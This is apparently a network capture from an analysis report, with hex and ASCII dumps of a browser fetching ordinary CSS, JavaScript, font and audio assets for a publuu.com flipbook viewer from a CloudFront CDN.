2025-03-26 17:36:17 UTC	15963	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 36 38 2c 20 36 38 2c 20 36 38 2c 20 30 2e 39 35 29 3b 2d 2d 64 61 72 6b 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 39 35 29 3b 2d 2d 6c 69 67 68 74 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 39 29 3b 2d 2d 64 61 72 6b 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 36 38 2c 20 36 38 2c 20 36 38 2c 20 31 29 3b 2d 2d 6c 69 67 68 74 2d 68 6f 76 65 72 2d 62 67 63 6f 6c 6f 72 3a 72 67 62 61 28 36 38 2c 20 36 38 2c 20 36 38 2c 20 30 2e 32 29 3b 2d 2d 64 61 72 6b 2d 68 6f 76 65 72 2d 62 67 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 29 Data Ascii: :root{--light-color:rgba(68, 68, 68, 0.95);--dark-color:rgba(255, 255, 255, 0.95);--light-hover-color:rgba(255, 255, 255, 0.9);--dark-hover-color:rgba(68, 68, 68, 1);--light-hover-bgcolor:rgba(68, 68, 68, 0.2);--dark-hover-bgcolor:rgba(255, 255, 255, 0.2)
2025-03-26 17:36:17 UTC	6844	IN	Data Raw: 73 69 64 65 62 61 72 54 4f 43 20 2e 73 69 64 65 62 61 72 5f 5f 77 72 61 70 70 65 72 2c 62 6f 64 79 2e 69 73 5f 6d 6f 62 69 6c 65 20 23 73 69 64 65 62 61 72 20 2e 73 69 64 65 62 61 72 5f 5f 77 72 61 70 70 65 72 2c 62 6f 64 79 2e 69 73 5f 6d 6f 62 69 6c 65 20 23 73 69 64 65 62 61 72 54 4f 43 20 2e 73 69 64 65 62 61 72 5f 5f 77 72 61 70 70 65 72 7b 68 65 69 67 68 74 3a 61 75 74 6f 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 2e 74 68 75 6d 62 6e 61 69 6c 2d 69 74 65 6d 5f 5f 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 74 68 75 6d 62 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 Data Ascii: sidebarTOC .sidebar__wrapper,body.is_mobile #sidebar .sidebar__wrapper,body.is_mobile #sidebarTOC .sidebar__wrapper{height:auto;box-shadow:none}.thumbnail-item__wrapper{display:flex;justify-content:center}.thumb{display:flex;flex-direction:column;align-it

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:17 UTC	620	OUT	GET /flipbook/202503/02/assets/scripts/page-flip-hard.browser.js?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:17 UTC	454	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 109968 Connection: close Server: CloudFront Date: Fri, 21 Mar 2025 10:45:05 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 b15f339834cfb5119481b1c1eb890372.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: gbhYawn8d9zfR54ivsIXjFqUpLlT7QXhDoxtbpDXqoOjglOFwIyMUg== Age: 456672 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:17 UTC	16384	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 65 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 65 29 3a 65 28 28 74 3d 74 7c 7c 73 65 6c 66 29 2e 53 74 3d 7b 7d 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6c 61 73 73 20 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 65 29 7b 74 68 69 73 2e 73 74 61 74 65 3d 7b 61 6e 67 6c 65 3a 30 2c 61 72 65 61 3a 5b 5d 2c 70 6f 73 69 74 69 6f 6e 3a 7b 78 Data Ascii: !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t=t\|\|self).St={})}(this,function(r){"use strict";class s{constructor(t,e){this.state={angle:0,area:[],position:{x
2025-03-26 17:36:18 UTC	16384	IN	Data Raw: 6c 65 7d 72 61 64 29 60 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 72 63 69 6e 63 72 6f 70 32 22 29 2e 66 69 72 73 74 43 68 69 6c 64 29 2c 61 3d 74 68 69 73 2e 72 65 6e 64 65 72 2e 67 65 74 52 65 63 74 28 29 2e 68 65 69 67 68 74 2d 6e 2c 72 3d 4d 61 74 68 2e 61 62 73 28 4d 61 74 68 2e 63 6f 73 28 74 68 69 73 2e 73 74 61 74 65 2e 66 6c 69 70 61 6e 67 6c 65 29 2a 61 29 2c 6e 3d 4d 61 74 68 2e 61 62 73 28 4d 61 74 68 2e 73 69 6e 28 74 68 69 73 2e 73 74 61 74 65 2e 66 6c 69 70 61 6e 67 6c 65 29 2a 61 29 2c 61 3d 28 73 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 3d 60 74 72 61 6e 73 6c 61 74 65 33 64 28 24 7b 65 2d 6e 7d 70 78 2c 20 2d 24 7b 74 68 69 73 2e 72 65 6e 64 65 72 2e 67 65 74 52 65 63 74 28 29 2e 68 65 69 Data Ascii: le}rad)`,document.getElementById("marcincrop2").firstChild),a=this.render.getRect().height-n,r=Math.abs(Math.cos(this.state.flipangle)a),n=Math.abs(Math.sin(this.state.flipangle)a),a=(s.style.transform=`translate3d(${e-n}px, -${this.render.getRect().hei
2025-03-26 17:36:18 UTC	16384	IN	Data Raw: 65 49 6e 74 65 72 73 65 63 74 50 6f 69 6e 74 2c 74 68 69 73 2e 74 6f 70 49 6e 74 65 72 73 65 63 74 50 6f 69 6e 74 29 26 26 28 74 2e 70 75 73 68 28 7b 78 3a 74 68 69 73 2e 73 69 64 65 49 6e 74 65 72 73 65 63 74 50 6f 69 6e 74 2e 78 2c 79 3a 74 68 69 73 2e 73 69 64 65 49 6e 74 65 72 73 65 63 74 50 6f 69 6e 74 2e 79 7d 29 2c 74 2e 70 75 73 68 28 7b 78 3a 74 68 69 73 2e 70 61 67 65 57 69 64 74 68 2c 79 3a 74 68 69 73 2e 70 61 67 65 48 65 69 67 68 74 7d 29 29 3a 74 2e 70 75 73 68 28 7b 78 3a 74 68 69 73 2e 62 6f 74 74 6f 6d 49 6e 74 65 72 73 65 63 74 50 6f 69 6e 74 2e 78 2c 79 3a 74 68 69 73 2e 62 6f 74 74 6f 6d 49 6e 74 65 72 73 65 63 74 50 6f 69 6e 74 2e 79 7d 29 2c 74 2e 70 75 73 68 28 7b 78 3a 30 2c 79 3a 74 68 69 73 2e 70 61 67 65 48 65 69 67 68 74 7d 29 Data Ascii: eIntersectPoint,this.topIntersectPoint)&&(t.push({x:this.sideIntersectPoint.x,y:this.sideIntersectPoint.y}),t.push({x:this.pageWidth,y:this.pageHeight})):t.push({x:this.bottomIntersectPoint.x,y:this.bottomIntersectPoint.y}),t.push({x:0,y:this.pageHeight})
2025-03-26 17:36:18 UTC	16384	IN	Data Raw: 70 2e 67 65 74 52 65 6e 64 65 72 28 29 2e 67 65 74 52 65 63 74 28 29 2e 68 65 69 67 68 74 2f 34 3f 22 74 6f 70 22 3a 22 62 6f 74 74 6f 6d 22 29 2c 74 3d 21 30 29 2c 74 68 69 73 2e 74 6f 75 63 68 50 6f 69 6e 74 3d 6e 75 6c 6c 7d 74 68 69 73 2e 61 70 70 2e 75 73 65 72 53 74 6f 70 28 69 2c 74 29 7d 7d 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 73 74 66 5f 5f 70 61 72 65 6e 74 22 29 2c 74 2e 69 6e 73 65 72 74 41 64 6a 61 63 65 6e 74 48 54 4d 4c 28 22 61 66 74 65 72 62 65 67 69 6e 22 2c 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 74 66 5f 5f 77 72 61 70 70 65 72 22 3e 3c 2f 64 69 76 3e 27 29 2c 74 68 69 73 2e 77 72 61 70 70 65 72 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 74 66 5f 5f 77 72 61 70 70 65 72 22 29 2c 74 68 69 73 2e 61 70 Data Ascii: p.getRender().getRect().height/4?"top":"bottom"),t=!0),this.touchPoint=null}this.app.userStop(i,t)}},t.classList.add("stf__parent"),t.insertAdjacentHTML("afterbegin",'<div class="stf__wrapper"></div>'),this.wrapper=t.querySelector(".stf__wrapper"),this.ap
2025-03-26 17:36:18 UTC	16384	IN	Data Raw: 74 4f 72 69 65 6e 74 61 74 69 6f 6e 28 29 3f 74 68 69 73 2e 66 6f 72 63 65 52 6f 6f 74 53 68 61 64 6f 77 43 6c 61 73 73 3d 6e 75 6c 6c 3a 68 2e 6c 65 6e 67 74 68 3d 3d 3d 61 2e 6c 65 6e 67 74 68 3f 28 74 3d 3d 3d 73 2e 6c 65 6e 67 74 68 2d 31 26 26 30 3d 3d 3d 65 26 26 74 68 69 73 2e 68 69 64 65 28 29 2c 30 3d 3d 3d 74 26 26 65 3d 3d 3d 73 2e 6c 65 6e 67 74 68 2d 31 26 26 74 68 69 73 2e 68 69 64 65 28 29 29 3a 28 30 3d 3d 3d 65 26 26 32 3d 3d 3d 68 2e 6c 65 6e 67 74 68 26 26 28 74 68 69 73 2e 66 6f 72 63 65 52 6f 6f 74 53 68 61 64 6f 77 43 6c 61 73 73 3d 22 73 68 61 64 6f 77 2d 2d 72 69 67 68 74 22 2c 28 72 3d 74 68 69 73 2e 61 70 70 2e 67 65 74 50 61 67 65 43 6f 6c 6c 65 63 74 69 6f 6e 28 29 2e 67 65 74 50 61 67 65 28 6e 29 29 2e 73 65 74 54 65 6d 70 6f Data Ascii: tOrientation()?this.forceRootShadowClass=null:h.length===a.length?(t===s.length-1&&0===e&&this.hide(),0===t&&e===s.length-1&&this.hide()):(0===e&&2===h.length&&(this.forceRootShadowClass="shadow--right",(r=this.app.getPageCollection().getPage(n)).setTempo
2025-03-26 17:36:18 UTC	16384	IN	Data Raw: 62 6f 75 6e 64 73 52 65 63 74 3d 7b 6c 65 66 74 3a 68 2c 74 6f 70 3a 73 2d 72 2f 32 2c 77 69 64 74 68 3a 32 2a 6e 2c 68 65 69 67 68 74 3a 72 2c 70 61 67 65 57 69 64 74 68 3a 6e 7d 2c 74 7d 73 65 74 53 68 61 64 6f 77 44 61 74 61 28 74 2c 65 2c 69 2c 73 29 7b 76 61 72 20 61 2c 6e 3b 74 68 69 73 2e 61 70 70 2e 67 65 74 53 65 74 74 69 6e 67 73 28 29 2e 64 72 61 77 53 68 61 64 6f 77 26 26 28 61 3d 31 30 30 2a 74 68 69 73 2e 67 65 74 53 65 74 74 69 6e 67 73 28 29 2e 6d 61 78 53 68 61 64 6f 77 4f 70 61 63 69 74 79 2c 6e 3d 69 3c 33 30 3f 69 3a 37 30 3c 69 3f 69 2d 34 30 3a 33 30 2c 74 68 69 73 2e 73 68 61 64 6f 77 3d 7b 70 6f 73 3a 74 2c 61 6e 67 6c 65 3a 65 2c 77 69 64 74 68 3a 33 2a 74 68 69 73 2e 67 65 74 52 65 63 74 28 29 2e 70 61 67 65 57 69 64 74 68 2f 34 Data Ascii: boundsRect={left:h,top:s-r/2,width:2n,height:r,pageWidth:n},t}setShadowData(t,e,i,s){var a,n;this.app.getSettings().drawShadow&&(a=100this.getSettings().maxShadowOpacity,n=i<30?i:70<i?i-40:30,this.shadow={pos:t,angle:e,width:3*this.getRect().pageWidth/4
2025-03-26 17:36:18 UTC	10428	IN	Data Raw: 6f 6f 6b 53 68 61 64 6f 77 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 64 6f 75 62 6c 65 57 69 64 74 68 22 29 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 74 66 5f 5f 6d 61 72 63 69 6e 42 6f 6f 6b 53 68 61 64 6f 77 22 29 2e 73 74 79 6c 65 2e 72 69 67 68 74 3d 22 30 70 78 22 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 74 66 5f 5f 6d 61 72 63 69 6e 42 6f 6f 6b 53 68 61 64 6f 77 22 29 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 74 66 5f 5f 6d 61 72 63 69 6e 42 6f 6f 6b 53 68 61 64 6f 77 22 29 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 Data Ascii: ookShadow").classList.add("doubleWidth"),document.querySelector(".stf__marcinBookShadow").style.right="0px",document.querySelector(".stf__marcinBookShadow").style.left=null,document.querySelector(".stf__marcinBookShadow").style.width=null,document.querySe
2025-03-26 17:36:18 UTC	1236	IN	Data Raw: 29 3a 74 68 69 73 2e 72 65 6e 64 65 72 2e 68 61 72 64 57 72 61 70 70 65 72 2e 68 61 72 64 53 68 61 64 6f 77 2e 73 68 6f 77 28 29 7d 69 73 42 6f 6f 6b 5a 6f 6f 6d 65 64 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 73 5a 6f 6f 6d 65 64 7d 73 65 74 5a 6f 6f 6d 28 29 7b 74 68 69 73 2e 69 73 5a 6f 6f 6d 65 64 3d 21 30 2c 74 68 69 73 2e 72 65 6e 64 65 72 2e 68 61 72 64 57 72 61 70 70 65 72 2e 68 61 72 64 53 68 61 64 6f 77 2e 68 69 64 65 28 29 7d 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 28 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 74 66 5f 5f 70 61 72 65 6e 74 22 29 7d 75 70 64 61 74 65 52 6f 6f 74 42 6f 6f 6b 4d 6f 64 65 43 6c 61 73 73 4e 61 6d 65 28 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 67 65 Data Ascii: ):this.render.hardWrapper.hardShadow.show()}isBookZoomed(){return this.isZoomed}setZoom(){this.isZoomed=!0,this.render.hardWrapper.hardShadow.hide()}getRootElement(){return document.querySelector(".stf__parent")}updateRootBookModeClassName(){var i=this.ge

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:17 UTC	622	OUT	GET /flipbook/202503/02/assets/css/Menu.css?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:17 UTC	420	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 6579 Connection: close Server: CloudFront Date: Fri, 21 Mar 2025 11:06:54 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 fa2ecff4e65c01748abe1c8c2a9dfb72.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: UoWLr_IRlbTA9kM0SaA2QYsrrnC2fQmesviznJ2gkVXk3QpbWoXOWw== Age: 455363 Cache-Control: max-age=31536000 Vary: Origin
2025-03-26 17:36:17 UTC	6579	IN	Data Raw: 23 66 6f 6f 74 65 72 2c 23 68 65 61 64 65 72 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 35 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 34 35 70 78 3b 68 65 69 67 68 74 3a 38 2e 35 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6d 61 72 67 69 6e 20 2e 33 73 3b 70 61 64 64 69 6e 67 3a 30 20 32 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 77 69 64 74 68 3a 39 34 25 3b 6c 65 66 74 3a 33 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6c 65 66 74 3a 30 7d 23 68 65 61 64 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 6e 6f 72 6d 61 6c 3b 7a 2d 69 6e Data Ascii: #footer,#header{min-height:35px;max-height:45px;height:8.5%;width:100%;transition:margin .3s;padding:0 25px;font-size:14px;width:94%;left:3%;width:100%;position:absolute;width:100%;left:0}#header{display:flex;align-items:center;justify-content:normal;z-in

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:18 UTC	614	OUT	GET /flipbook/202503/02/assets/scripts/hotspots/Gallery.js?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:18 UTC	452	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 8028 Connection: close Server: CloudFront Date: Tue, 25 Mar 2025 08:23:09 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 932c2b3276a26e6c28876ec88fecf714.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: QpNlTnCvCWsUD9wdjpUaBZTFJfH9GxzDcwaVhJBB2RNrE68NntuC1w== Age: 119589 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:18 UTC	8028	IN	Data Raw: 63 6c 61 73 73 20 47 61 6c 6c 65 72 79 7b 23 73 6c 69 64 65 72 3b 23 74 68 75 6d 62 73 53 6c 69 64 65 72 3b 23 65 6c 65 6d 65 6e 74 73 3b 23 6f 70 74 69 6f 6e 73 3d 7b 7d 3b 23 69 6d 61 67 65 73 44 61 74 61 3d 7b 7d 3b 23 68 6f 74 73 70 6f 74 4d 6f 64 65 6c 3b 23 4d 41 58 5f 46 4f 4f 54 45 52 5f 43 4f 4e 54 45 4e 54 5f 57 49 44 54 48 3d 31 34 36 30 3b 23 54 48 55 4d 42 5f 4d 41 58 5f 57 49 44 54 48 3d 38 30 3b 23 54 48 55 4d 42 53 5f 56 49 53 49 42 49 4c 49 54 59 5f 4d 49 4e 5f 57 49 44 54 48 3d 37 36 38 3b 23 53 43 52 49 50 54 3d 7b 69 64 3a 22 73 6c 69 64 65 72 2d 6a 73 22 2c 73 72 63 3a 41 50 50 2e 50 41 54 48 5f 43 46 5f 46 4c 49 50 2b 22 61 73 73 65 74 73 2f 73 63 72 69 70 74 73 2f 6c 69 62 73 2f 73 77 69 70 65 72 2f 62 75 6e 64 6c 65 2e 6a 73 22 7d Data Ascii: class Gallery{#slider;#thumbsSlider;#elements;#options={};#imagesData={};#hotspotModel;#MAX_FOOTER_CONTENT_WIDTH=1460;#THUMB_MAX_WIDTH=80;#THUMBS_VISIBILITY_MIN_WIDTH=768;#SCRIPT={id:"slider-js",src:APP.PATH_CF_FLIP+"assets/scripts/libs/swiper/bundle.js"}

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:18 UTC	602	OUT	GET /flipbook/202503/02/assets/scripts/Logs.js?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:18 UTC	452	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 8727 Connection: close Server: CloudFront Date: Fri, 21 Mar 2025 10:45:03 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 79edbcc14c21322a469003752cc30af0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: zTlOyjFFqFSXXrILvrvt9VBUsq2PQirAH63VrPuNuz82i4DDqOntSQ== Age: 456675 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:18 UTC	8727	IN	Data Raw: 63 6f 6e 73 74 20 4c 6f 67 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6c 6f 67 73 5f 73 74 61 74 65 5f 76 69 73 69 62 6c 65 3d 30 2c 74 68 69 73 2e 6c 61 73 74 41 63 74 69 6f 6e 54 69 6d 65 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 74 68 69 73 2e 69 6e 61 63 74 69 76 65 54 69 6d 65 3d 30 2c 74 68 69 73 2e 62 6f 72 69 6e 67 54 69 6d 65 3d 30 2c 74 68 69 73 2e 62 75 66 66 6f 72 54 69 6d 65 4d 53 3d 30 2c 74 68 69 73 2e 75 6e 69 71 75 65 49 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 65 73 73 69 6f 6e 49 64 3d 21 31 2c 74 68 69 73 2e 73 74 61 72 74 54 69 6d 65 3d 30 2c 74 68 69 73 2e 64 6c 69 64 3d 30 2c 74 68 69 73 2e 6c 66 69 64 3d 30 2c 74 68 69 73 2e 69 73 41 6e 64 72 6f 69 64 3d 2f 61 6e 64 72 6f 69 64 2f 67 69 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f Data Ascii: const Logs=function(){this.logs_state_visible=0,this.lastActionTime=Date.now(),this.inactiveTime=0,this.boringTime=0,this.bufforTimeMS=0,this.uniqueId=null,this.sessionId=!1,this.startTime=0,this.dlid=0,this.lfid=0,this.isAndroid=/android/gi.test(navigato

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:18 UTC	626	OUT	GET /flipbook/202503/02/assets/fonts/lato/v23/S6u9w4BMUTPHh6UVSwiPGQ3q5d0.woff2 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:18 UTC	625	IN	HTTP/1.1 200 OK Content-Type: binary/octet-stream Content-Length: 14148 Connection: close Date: Fri, 21 Mar 2025 10:44:02 GMT Last-Modified: Fri, 21 Mar 2025 10:28:01 GMT ETag: "69b28056044be6438ce7e5214c66ba82" x-amz-server-side-encryption: AES256 x-amz-version-id: 3dsOk_Vg3UPo9ETNUzXeIqXeKAy305wy Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 255e8a45aff6633687f7e4911e918abc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: XoKzXz53eJF9u7nBzu-cBgxKgEZ215IIXZxiGUhGGgBeNCH8owuoRw== Age: 456737 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:18 UTC	14148	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 37 44 00 0d 00 00 00 00 6f dc 00 00 36 ec 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b a6 42 1c 70 06 60 00 81 44 11 0c 0a 81 9f 1c 81 83 07 0b 83 42 00 01 36 02 24 03 86 76 04 20 05 85 00 07 84 45 1b 1d 5f 25 63 dc cd 0c 1b 07 00 67 db d6 8d a2 16 48 56 4e 14 25 94 b3 48 f6 ff 9f 93 5b 43 02 bc 50 ab b6 7e 0f 2b 93 45 26 52 19 46 a1 51 28 9a 73 35 36 26 e5 f1 ae 36 0a 56 a6 27 9f d8 1a d0 72 c9 dc d2 59 d8 5c 2d dd ca f4 0a d3 0d bf e3 2e fe 5d ca cf 16 8e 5e fc 45 f2 a7 3b dc c7 bc e0 70 5b 1e 87 1b 8e 95 71 e1 e8 3b de 11 5a fa 88 97 87 ff df af d7 7d f1 cd 84 80 54 1c 61 81 55 1d 01 e8 d8 02 93 ae 6a aa 08 74 6c 5d d7 3f 43 30 b7 4e 42 a4 46 2d 9a 25 31 d8 a8 11 bd 68 36 36 7a 45 8f d8 88 de Data Ascii: wOF27Do6Bp`DB6$v E_%cgHVN%H[CP~+E&RFQ(s56&6V'rY\-.]^E;p[q;Z}TaUjtl]?C0NBF-%1h66zE

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:18 UTC	615	OUT	GET /flipbook/202503/02/assets/audio/v1_1.mp3 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" Accept-Encoding: identity;q=1, ;q=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Language: en-US,en;q=0.9 Range: bytes=0-
2025-03-26 17:36:18 UTC	643	IN	HTTP/1.1 206 Partial Content Content-Type: audio/mp3 Content-Length: 4979 Connection: close Date: Fri, 21 Mar 2025 10:39:56 GMT Last-Modified: Fri, 21 Mar 2025 10:27:46 GMT ETag: "a9125e860e067f6b1ae834d6abb9ad37" x-amz-server-side-encryption: AES256 x-amz-version-id: MDoF4HNYQQmVIkNGFgLMBfZdjCLowZh2 Accept-Ranges: bytes Server: AmazonS3 Content-Range: bytes 0-4978/4979 X-Cache: Hit from cloudfront Via: 1.1 7cd7ee430e44b1f51cd2016b916ffa92.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: NXsaEZdUfutsLPTDskYEtwgqv9ULd5IV6dZr4H1bWEbN-n5pBn71kA== Age: 456983 Cache-Control: max-age=31536000 Vary: Origin
